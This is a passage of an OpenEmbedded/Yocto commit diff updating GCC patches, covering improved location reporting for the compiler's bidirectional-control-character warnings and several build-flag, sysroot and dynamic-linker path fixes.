++ start_loc,
++ src_range,
++ NULL);
++ return combined_loc;
++}
++
+ /* Parse a sequence of 3 bytes starting with P and return its bidi code. */
+
+ static bidi::kind
+-get_bidi_utf8 (const unsigned char *const p)
++get_bidi_utf8_1 (const unsigned char *const p)
+ {
+ gcc_checking_assert (p[0] == bidi::utf8_start);
+
+@@ -1340,10 +1408,25 @@ get_bidi_utf8 (const unsigned char *cons
+ return bidi::kind::NONE;
+ }
+
++/* Parse a sequence of 3 bytes starting with P and return its bidi code.
++ If the kind is not NONE, write the location to *OUT.*/
++
++static bidi::kind
++get_bidi_utf8 (cpp_reader *pfile, const unsigned char *const p, location_t *out)
++{
++ bidi::kind result = get_bidi_utf8_1 (p);
++ if (result != bidi::kind::NONE)
++ {
++ /* We have a sequence of 3 bytes starting at P. */
++ *out = get_location_for_byte_range_in_cur_line (pfile, p, 3);
++ }
++ return result;
++}
++
+ /* Parse a UCN where P points just past \u or \U and return its bidi code. */
+
+ static bidi::kind
+-get_bidi_ucn (const unsigned char *p, bool is_U)
++get_bidi_ucn_1 (const unsigned char *p, bool is_U)
+ {
+ /* 6.4.3 Universal Character Names
+ \u hex-quad
+@@ -1412,6 +1495,62 @@ get_bidi_ucn (const unsigned char *p, bo
+ return bidi::kind::NONE;
+ }
+
++/* Parse a UCN where P points just past \u or \U and return its bidi code.
++ If the kind is not NONE, write the location to *OUT.*/
++
++static bidi::kind
++get_bidi_ucn (cpp_reader *pfile, const unsigned char *p, bool is_U,
++ location_t *out)
++{
++ bidi::kind result = get_bidi_ucn_1 (p, is_U);
++ if (result != bidi::kind::NONE)
++ {
++ const unsigned char *start = p - 2;
++ size_t num_bytes = 2 + (is_U ? 8 : 4);
++ *out = get_location_for_byte_range_in_cur_line (pfile, start, num_bytes);
++ }
++ return result;
++}
++
++/* Subclass of rich_location for reporting on unpaired UTF-8
++ bidirectional control character(s).
++ Escape the source lines on output, and show all unclosed
++ bidi context, labelling everything. */
++
++class unpaired_bidi_rich_location : public rich_location
++{
++ public:
++ class custom_range_label : public range_label
++ {
++ public:
++ label_text get_text (unsigned range_idx) const FINAL OVERRIDE
++ {
++ /* range 0 is the primary location; each subsequent range i + 1
++ is for bidi::vec[i]. */
++ if (range_idx > 0)
++ {
++ const bidi::context &ctxt (bidi::vec[range_idx - 1]);
++ return label_text::borrow (bidi::to_str (ctxt.m_kind));
++ }
++ else
++ return label_text::borrow (_("end of bidirectional context"));
++ }
++ };
++
++ unpaired_bidi_rich_location (cpp_reader *pfile, location_t loc)
++ : rich_location (pfile->line_table, loc, &m_custom_label)
++ {
++ set_escape_on_output (true);
++ for (unsigned i = 0; i < bidi::vec.count (); i++)
++ add_range (bidi::vec[i].m_loc,
++ SHOW_RANGE_WITHOUT_CARET,
++ &m_custom_label);
++ }
++
++ private:
++ custom_range_label m_custom_label;
++};
++
+ /* We're closing a bidi context, that is, we've encountered a newline,
+ are closing a C-style comment, or are at the end of a string literal,
+ character constant, or identifier. Warn if this context was not
+@@ -1427,11 +1566,17 @@ maybe_warn_bidi_on_close (cpp_reader *pf
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
+- rich_location rich_loc (pfile->line_table, loc);
+- rich_loc.set_escape_on_output (true);
+- cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
+- "unpaired UTF-8 bidirectional control character "
+- "detected");
++ unpaired_bidi_rich_location rich_loc (pfile, loc);
++ /* cpp_callbacks doesn't yet have a way to handle singular vs plural
++ forms of a diagnostic, so fake it for now. */
++ if (bidi::vec.count () > 1)
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control characters "
++ "detected");
++ else
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
+ }
+ /* We're done with this context. */
+ bidi::on_close ();
+@@ -1439,12 +1584,13 @@ maybe_warn_bidi_on_close (cpp_reader *pf
+
+ /* We're at the beginning or in the middle of an identifier/comment/string
+ literal/character constant. Warn if we've encountered a bidi character.
+- KIND says which bidi character it was; P points to it in the character
+- stream. UCN_P is true iff this bidi character was written as a UCN. */
++ KIND says which bidi control character it was; UCN_P is true iff this bidi
++ control character was written as a UCN. LOC is the location of the
++ character, but is only valid if KIND != bidi::kind::NONE. */
+
+ static void
+-maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+- bool ucn_p)
++maybe_warn_bidi_on_char (cpp_reader *pfile, bidi::kind kind,
++ bool ucn_p, location_t loc)
+ {
+ if (__builtin_expect (kind == bidi::kind::NONE, 1))
+ return;
+@@ -1453,9 +1599,6 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+
+ if (warn_bidi != bidirectional_none)
+ {
+- const location_t loc
+- = linemap_position_for_column (pfile->line_table,
+- CPP_BUF_COLUMN (pfile->buffer, p));
+ rich_location rich_loc (pfile->line_table, loc);
+ rich_loc.set_escape_on_output (true);
+
+@@ -1467,9 +1610,12 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+ {
+ if (warn_bidi == bidirectional_unpaired
+ && bidi::current_ctx_ucn_p () != ucn_p)
+- cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
+- "UTF-8 vs UCN mismatch when closing "
+- "a context by \"%s\"", bidi::to_str (kind));
++ {
++ rich_loc.add_range (bidi::current_ctx_loc ());
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
++ }
+ }
+ else if (warn_bidi == bidirectional_any)
+ {
+@@ -1484,7 +1630,7 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+ }
+ }
+ /* We're done with this context. */
+- bidi::on_char (kind, ucn_p);
++ bidi::on_char (kind, ucn_p, loc);
+ }
+
+ /* Skip a C-style block comment. We find the end of the comment by
+@@ -1552,8 +1698,9 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ a bidirectional control character. */
+ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (cur - 1);
+- maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, cur - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ }
+
+@@ -1586,9 +1733,9 @@ skip_line_comment (cpp_reader *pfile)
+ {
+ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
+ {
+- bidi::kind kind = get_bidi_utf8 (buffer->cur);
+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, buffer->cur, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ buffer->cur++;
+ }
+@@ -1708,9 +1855,9 @@ forms_identifier_p (cpp_reader *pfile, i
+ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0)
+ && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (buffer->cur);
+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, buffer->cur, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ if (_cpp_valid_utf8 (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s))
+@@ -1722,10 +1869,12 @@ forms_identifier_p (cpp_reader *pfile, i
+ buffer->cur += 2;
+ if (warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_ucn (buffer->cur,
+- buffer->cur[-1] == 'U');
+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/true);
++ location_t loc;
++ bidi::kind kind = get_bidi_ucn (pfile,
++ buffer->cur,
++ buffer->cur[-1] == 'U',
++ &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/true, loc);
+ }
+ if (_cpp_valid_ucn (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s, NULL, NULL))
+@@ -2336,8 +2485,11 @@ lex_raw_string (cpp_reader *pfile, cpp_t
+ }
+ else if (__builtin_expect ((unsigned char) c == bidi::utf8_start, 0)
+ && warn_bidi_p)
+- maybe_warn_bidi_on_char (pfile, pos - 1, get_bidi_utf8 (pos - 1),
+- /*ucn_p=*/false);
++ {
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, pos - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
++ }
+ }
+
+ if (warn_bidi_p)
+@@ -2447,8 +2599,10 @@ lex_string (cpp_reader *pfile, cpp_token
+ {
+ if ((cur[0] == 'u' || cur[0] == 'U') && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_ucn (cur + 1, cur[0] == 'U');
+- maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/true);
++ location_t loc;
++ bidi::kind kind = get_bidi_ucn (pfile, cur + 1, cur[0] == 'U',
++ &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/true, loc);
+ }
+ cur++;
+ }
+@@ -2476,8 +2630,9 @@ lex_string (cpp_reader *pfile, cpp_token
+ saw_NUL = true;
+ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (cur - 1);
+- maybe_warn_bidi_on_char (pfile, cur - 1, kind, /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, cur - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ }
+
diff --git a/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch b/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch
new file mode 100644
index 0000000000..98a1bb2a66
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch
@@ -0,0 +1,63 @@
+From e700190743fa29ddaebd6ee075298a24b1688773 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 28 Oct 2021 11:33:40 +0100
+Subject: [PATCH 6/6] If CXXFLAGS contains something unsupported by the build
+ CXX, we see build failures (e.g. using -fmacro-prefix-map for the target).
+
+Pass CXXFLAGS_FOR_BUILD in a couple of places to avoid these errors.
+
+2021-10-28 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+ChangeLog:
+
+ * Makefile.in: Regenerate.
+ * Makefile.tpl: Add missing CXXFLAGS_FOR_BUILD overrides
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ Makefile.in | 2 ++
+ Makefile.tpl | 2 ++
+ 2 files changed, 4 insertions(+)
+
+Upstream-Status: Pending [should be submittable]
+
+Index: gcc-11.2.0/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/Makefile.in
++++ gcc-11.2.0/Makefile.in
+@@ -172,6 +172,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -203,6 +204,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+ LDFLAGS="$(STAGE1_LDFLAGS) $(LDFLAGS)"; export LDFLAGS; \
+Index: gcc-11.2.0/Makefile.tpl
+===================================================================
+--- gcc-11.2.0.orig/Makefile.tpl
++++ gcc-11.2.0/Makefile.tpl
+@@ -175,6 +175,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -206,6 +207,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+ LDFLAGS="$(STAGE1_LDFLAGS) $(LDFLAGS)"; export LDFLAGS; \
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch b/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
index 28f8fc2674..9844c2ae8a 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
+++ b/meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
@@ -1,8 +1,7 @@
-From 88e728dad53d48c4a19f15e19f66fd23f4820b4a Mon Sep 17 00:00:00 2001
+From e64342df647829d3e1c52fd480a5be7c1281ced0 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:17:25 +0400
-Subject: [PATCH 07/36] Use the defaults.h in ${B} instead of ${S}, and t-oe in
- ${B}
+Subject: [PATCH] Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}
Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}, so that
the source can be shared between gcc-cross-initial,
@@ -27,10 +26,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
4 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 5f43d9de00e..41f0f592ff4 100644
+index 8a5fb3fd99c..7da6f439fff 100644
--- a/gcc/Makefile.in
+++ b/gcc/Makefile.in
-@@ -540,7 +540,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
+@@ -552,7 +552,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
TARGET_SYSTEM_ROOT_DEFINE = @TARGET_SYSTEM_ROOT_DEFINE@
xmake_file=@xmake_file@
@@ -40,10 +39,10 @@ index 5f43d9de00e..41f0f592ff4 100644
TM_MULTILIB_CONFIG=@TM_MULTILIB_CONFIG@
TM_MULTILIB_EXCEPTIONS_CONFIG=@TM_MULTILIB_EXCEPTIONS_CONFIG@
diff --git a/gcc/configure b/gcc/configure
-index a6ea3a8a84c..e3bcf8abe9a 100755
+index 3f0734bff11..c5d3bc4ee2d 100755
--- a/gcc/configure
+++ b/gcc/configure
-@@ -12341,8 +12341,8 @@ for f in $tm_file; do
+@@ -13090,8 +13090,8 @@ for f in $tm_file; do
tm_include_list="${tm_include_list} $f"
;;
defaults.h )
@@ -55,10 +54,10 @@ index a6ea3a8a84c..e3bcf8abe9a 100755
* )
tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
diff --git a/gcc/configure.ac b/gcc/configure.ac
-index d42bbd4fd1c..2ebc377a74d 100644
+index 54e21764b3e..f83420326d6 100644
--- a/gcc/configure.ac
+++ b/gcc/configure.ac
-@@ -1968,8 +1968,8 @@ for f in $tm_file; do
+@@ -2263,8 +2263,8 @@ for f in $tm_file; do
tm_include_list="${tm_include_list} $f"
;;
defaults.h )
@@ -70,7 +69,7 @@ index d42bbd4fd1c..2ebc377a74d 100644
* )
tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
diff --git a/gcc/mkconfig.sh b/gcc/mkconfig.sh
-index 308b87d0cc1..19068cbc24a 100644
+index c49acd8f7e4..a0a657bdbb9 100644
--- a/gcc/mkconfig.sh
+++ b/gcc/mkconfig.sh
@@ -77,7 +77,7 @@ if [ -n "$HEADERS" ]; then
@@ -91,6 +90,3 @@ index 308b87d0cc1..19068cbc24a 100644
fi
# Add multiple inclusion protection guard, part two.
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch b/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch
new file mode 100644
index 0000000000..37f26f0728
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch
@@ -0,0 +1,59 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 5/5] gcc: Pass sysroot options to cpp for preprocessed source
+
+OpenEmbedded/Yocto Project extensively uses the --sysroot support within gcc.
+We discovered that when compiling preprocessed source (.i or .ii files), the
+compiler will try and access the builtin sysroot location rather than the
+--sysroot option specified on the commandline. If access to that directory is
+permission denied (unreadable), gcc will error. This is particularly problematic
+when ccache is involved.
+
+This patch adds %I to the cpp-output spec macro so the default substitutions for
+-iprefix, -isystem, -isysroot happen and the correct sysroot is used.
+
+2021-10-27 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+gcc/cp/ChangeLog:
+
+ * lang-specs.h: Pass sysroot options to cpp for preprocessed source
+
+gcc/ChangeLog:
+
+ * gcc.c: Pass sysroot options to cpp for preprocessed source
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+[YOCTO #2074]
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582725.html]
+---
+ gcc/cp/lang-specs.h | 2 +-
+ gcc/gcc.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+Index: gcc-11.2.0/gcc/cp/lang-specs.h
+===================================================================
+--- gcc-11.2.0.orig/gcc/cp/lang-specs.h
++++ gcc-11.2.0/gcc/cp/lang-specs.h
+@@ -116,7 +116,7 @@ along with GCC; see the file COPYING3.
+ {".ii", "@c++-cpp-output", 0, 0, 0},
+ {"@c++-cpp-output",
+ "%{!E:%{!M:%{!MM:"
+- " cc1plus -fpreprocessed %i %(cc1_options) %2"
++ " cc1plus -fpreprocessed %i %I %(cc1_options) %2"
+ " %{!fsyntax-only:"
+ " %{fmodule-only:%{!S:-o %g.s%V}}"
+ " %{!fmodule-only:%{!fmodule-header*:%(invoke_as)}}}"
+Index: gcc-11.2.0/gcc/gcc.c
+===================================================================
+--- gcc-11.2.0.orig/gcc/gcc.c
++++ gcc-11.2.0/gcc/gcc.c
+@@ -1470,7 +1470,7 @@ static const struct compiler default_com
+ %W{o*:--output-pch=%*}}%V}}}}}}}", 0, 0, 0},
+ {".i", "@cpp-output", 0, 0, 0},
+ {"@cpp-output",
+- "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
++ "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %I %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
+ {".s", "@assembler", 0, 0, 0},
+ {"@assembler",
+ "%{!M:%{!MM:%{!E:%{!S:as %(asm_debug) %(asm_options) %i %A }}}}", 0, 0, 0},
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch b/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
index 66fb24d4cd..0884730786 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
+++ b/meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch
@@ -1,4 +1,4 @@
-From 72fc3975bcd720b2f8040fa87cd23d3db4c5975a Mon Sep 17 00:00:00 2001
+From 8e9d6efecdc8c42f47e3a012dee764b13c3dad59 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:24:50 +0400
Subject: [PATCH] Define GLIBC_DYNAMIC_LINKER and UCLIBC_DYNAMIC_LINKER
@@ -30,8 +30,7 @@ Upstream-Status: Inappropriate [OE configuration]
gcc/config/sparc/linux64.h | 4 ++--
12 files changed, 29 insertions(+), 34 deletions(-)
-diff --git a/gcc/config/alpha/linux-elf.h b/gcc/config/alpha/linux-elf.h
-index 824861befec..6afacce3292 100644
+unchanged:
--- a/gcc/config/alpha/linux-elf.h
+++ b/gcc/config/alpha/linux-elf.h
@@ -23,8 +23,8 @@ along with GCC; see the file COPYING3. If not see
@@ -45,8 +44,7 @@ index 824861befec..6afacce3292 100644
#if DEFAULT_LIBC == LIBC_UCLIBC
#define CHOOSE_DYNAMIC_LINKER(G, U) "%{mglibc:" G ";:" U "}"
#elif DEFAULT_LIBC == LIBC_GLIBC
-diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index 66ec0ea3980..e4ade2e2ab0 100644
+unchanged:
--- a/gcc/config/arm/linux-eabi.h
+++ b/gcc/config/arm/linux-eabi.h
@@ -65,8 +65,8 @@
@@ -60,8 +58,7 @@ index 66ec0ea3980..e4ade2e2ab0 100644
#define GLIBC_DYNAMIC_LINKER_DEFAULT GLIBC_DYNAMIC_LINKER_SOFT_FLOAT
#define GLIBC_DYNAMIC_LINKER \
-diff --git a/gcc/config/arm/linux-elf.h b/gcc/config/arm/linux-elf.h
-index 9a360defd21..98f6e960b64 100644
+unchanged:
--- a/gcc/config/arm/linux-elf.h
+++ b/gcc/config/arm/linux-elf.h
@@ -60,7 +60,7 @@
@@ -73,8 +70,7 @@ index 9a360defd21..98f6e960b64 100644
#define LINUX_TARGET_LINK_SPEC "%{h*} \
%{static:-Bstatic} \
-diff --git a/gcc/config/i386/linux.h b/gcc/config/i386/linux.h
-index 9a6e2d99896..31efbb73016 100644
+unchanged:
--- a/gcc/config/i386/linux.h
+++ b/gcc/config/i386/linux.h
@@ -20,7 +20,7 @@ along with GCC; see the file COPYING3. If not see
@@ -86,8 +82,7 @@ index 9a6e2d99896..31efbb73016 100644
#undef MUSL_DYNAMIC_LINKER
#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/i386/linux64.h b/gcc/config/i386/linux64.h
-index c08221c4210..dbb474d792b 100644
+unchanged:
--- a/gcc/config/i386/linux64.h
+++ b/gcc/config/i386/linux64.h
@@ -27,9 +27,9 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
@@ -103,8 +98,7 @@ index c08221c4210..dbb474d792b 100644
#undef MUSL_DYNAMIC_LINKER32
#define MUSL_DYNAMIC_LINKER32 "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index c3c4a219e67..4b05d8e93d1 100644
+unchanged:
--- a/gcc/config/linux.h
+++ b/gcc/config/linux.h
@@ -94,10 +94,10 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
@@ -122,8 +116,7 @@ index c3c4a219e67..4b05d8e93d1 100644
#define BIONIC_DYNAMIC_LINKER "/system/bin/linker"
#define BIONIC_DYNAMIC_LINKER32 "/system/bin/linker"
#define BIONIC_DYNAMIC_LINKER64 "/system/bin/linker64"
-diff --git a/gcc/config/mips/linux.h b/gcc/config/mips/linux.h
-index 6f79ac9c01a..25de96f9561 100644
+unchanged:
--- a/gcc/config/mips/linux.h
+++ b/gcc/config/mips/linux.h
@@ -22,20 +22,20 @@ along with GCC; see the file COPYING3. If not see
@@ -153,8 +146,7 @@ index 6f79ac9c01a..25de96f9561 100644
#undef MUSL_DYNAMIC_LINKER32
#define MUSL_DYNAMIC_LINKER32 \
-diff --git a/gcc/config/riscv/linux.h b/gcc/config/riscv/linux.h
-index 58dd18b89f3..112ba9cd764 100644
+unchanged:
--- a/gcc/config/riscv/linux.h
+++ b/gcc/config/riscv/linux.h
@@ -22,7 +22,7 @@ along with GCC; see the file COPYING3. If not see
@@ -166,11 +158,10 @@ index 58dd18b89f3..112ba9cd764 100644
#define MUSL_ABI_SUFFIX \
"%{mabi=ilp32:-sf}" \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 9946d3fed94..45a9a7cae59 100644
+unchanged:
--- a/gcc/config/rs6000/linux64.h
+++ b/gcc/config/rs6000/linux64.h
-@@ -423,24 +423,19 @@ extern int dot_symbols;
+@@ -336,24 +336,19 @@ extern int dot_symbols;
#undef LINK_OS_DEFAULT_SPEC
#define LINK_OS_DEFAULT_SPEC "%(link_os_linux)"
@@ -200,8 +191,7 @@ index 9946d3fed94..45a9a7cae59 100644
#undef DEFAULT_ASM_ENDIAN
#if (TARGET_DEFAULT & MASK_LITTLE_ENDIAN)
-diff --git a/gcc/config/sh/linux.h b/gcc/config/sh/linux.h
-index c9897b7aca5..82f275319cc 100644
+unchanged:
--- a/gcc/config/sh/linux.h
+++ b/gcc/config/sh/linux.h
@@ -64,7 +64,7 @@ along with GCC; see the file COPYING3. If not see
@@ -213,11 +203,10 @@ index c9897b7aca5..82f275319cc 100644
#undef SUBTARGET_LINK_EMUL_SUFFIX
#define SUBTARGET_LINK_EMUL_SUFFIX "%{mfdpic:_fd;:_linux}"
-diff --git a/gcc/config/sparc/linux.h b/gcc/config/sparc/linux.h
-index 08476f1d94d..80440e712ad 100644
+unchanged:
--- a/gcc/config/sparc/linux.h
+++ b/gcc/config/sparc/linux.h
-@@ -84,7 +84,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
+@@ -78,7 +78,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
When the -shared link option is used a final link is not being
done. */
@@ -226,11 +215,10 @@ index 08476f1d94d..80440e712ad 100644
#undef LINK_SPEC
#define LINK_SPEC "-m elf32_sparc %{shared:-shared} \
-diff --git a/gcc/config/sparc/linux64.h b/gcc/config/sparc/linux64.h
-index 789d1df4bd5..b920c680fb1 100644
+unchanged:
--- a/gcc/config/sparc/linux64.h
+++ b/gcc/config/sparc/linux64.h
-@@ -84,8 +84,8 @@ along with GCC; see the file COPYING3. If not see
+@@ -78,8 +78,8 @@ along with GCC; see the file COPYING3. If not see
When the -shared link option is used a final link is not being
done. */
@@ -241,3 +229,19 @@ index 789d1df4bd5..b920c680fb1 100644
#ifdef SPARC_BI_ARCH
+diff -u b/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
+--- b/gcc/config/aarch64/aarch64-linux.h
++++ b/gcc/config/aarch64/aarch64-linux.h
+@@ -21,10 +21,10 @@
+ #ifndef GCC_AARCH64_LINUX_H
+ #define GCC_AARCH64_LINUX_H
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef ASAN_CC1_SPEC
+ #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
diff --git a/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch b/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch
new file mode 100644
index 0000000000..ebee30bbd6
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch
@@ -0,0 +1,38 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 2/5] gcc: Fix "argument list too long" from install-plugins
+
+When building in longer build paths (200+ characters), the
+"echo $(PLUGIN_HEADERS)" from the install-plugins target would cause an
+"argument list too long error" on some systems.
+
+Avoid this by calling make's sort function on the list which removes
+duplicates and stops the overflow from reaching the echo command.
+The original sort is left to handle the the .h and .def files.
+
+2021-10-26 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+gcc/ChangeLog:
+
+ * Makefile.in: Fix "argument list too long" from install-plugins
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
